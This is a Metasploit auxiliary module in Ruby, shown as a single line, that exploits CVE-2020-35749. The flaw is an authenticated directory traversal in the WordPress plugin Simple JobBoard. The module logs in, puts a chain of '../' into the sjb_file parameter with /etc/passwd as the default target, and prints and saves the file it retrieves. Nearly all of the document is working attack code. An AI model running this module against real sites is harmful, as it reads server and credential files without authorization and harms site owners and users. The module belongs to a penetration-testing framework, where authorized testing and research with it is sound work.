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## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Scanner def initialize(info = {}) super(update_info(info, 'Name' => 'Simple JobBoard Authenticated File Read Vulnerability', 'Description'=> %q{ This module exploits an authenticated directory traversal vulnerability in WordPress plugin 'Simple JobBoard ' < 2.9.3, allowing arbitrary file read with the web server privileges. }, 'Author' => [ 'Arcangelo Saracino', # Vulnerability discovery 'Hoa Nguyen - Suncsr Team',# Metasploit module ], 'License'=> MSF_LICENSE, 'References' => [ ['CVE', '2020-35749'], ['WPVDB', 'eed3bd69-2faf-4bc9-915c-c36211ef9e2d'], ['URL','https://arkango.github.io/CVE-2020/CVE-2020-35749%20DIr.%20Traversal%20Simple%20Board%20Job%20Wordpress%20plugin.html'] ], 'DisclosureDate' => 'Jan 15 2021')) register_options([ OptString.new('FILEPATH',[true,'The path to the file to read','/etc/passwd']), OptString.new('USERNAME',[true,'The WordPress username to authenticate with']), OptString.new('PASSWORD',[true,'The WordPress password to authenticate with']), OptInt.new('DEPTH',[true,'Traversal Depth (to reach the root folder',8]), ]) end def username datastore['USERNAME'] end def password datastore['PASSWORD'] end def check cookie = wordpress_login(username,password) if cookie.nil? store_valid_credential(user: username, private: password, proof: cookie) return CheckCode::Safe end CheckCode::Appears end def run_host(ip) cookie = wordpress_login(username, password) traversal = '../' * datastore['DEPTH'] filename = datastore['FILEPATH'] filename = filename[1, filename.length] if filename =~ /^\// res = send_request_cgi({ 'cookie' => cookie, 'method' => 'GET', 'uri' => normalize_uri(target_uri.path,'wp-admin',''), 'vars_get' => { 'post' => 'application_id', 'action' => 'edit', 'sjb_file' => "#{traversal}#{filename}" } }) fail_with Failure::Unreachable, 'Connection failed' unless res fail_with Failure::NotVulnerable, 'Connection failed. Nothingn was downloaded' if res.code != 200 fail_with Failure::NotVulnerable, 'Nothing was downloaded. Change the DEPTH parameter' if res.body.length.zero? print_good('Downloading file ...') print_line("\n#{res.body}\n") fname = datastore['FILEPATH'] path = store_loot( 'Simple_JobBoard.traversal', 'text/plain', ip, res.body, fname ) print_good("File save in: #{path}") end end |
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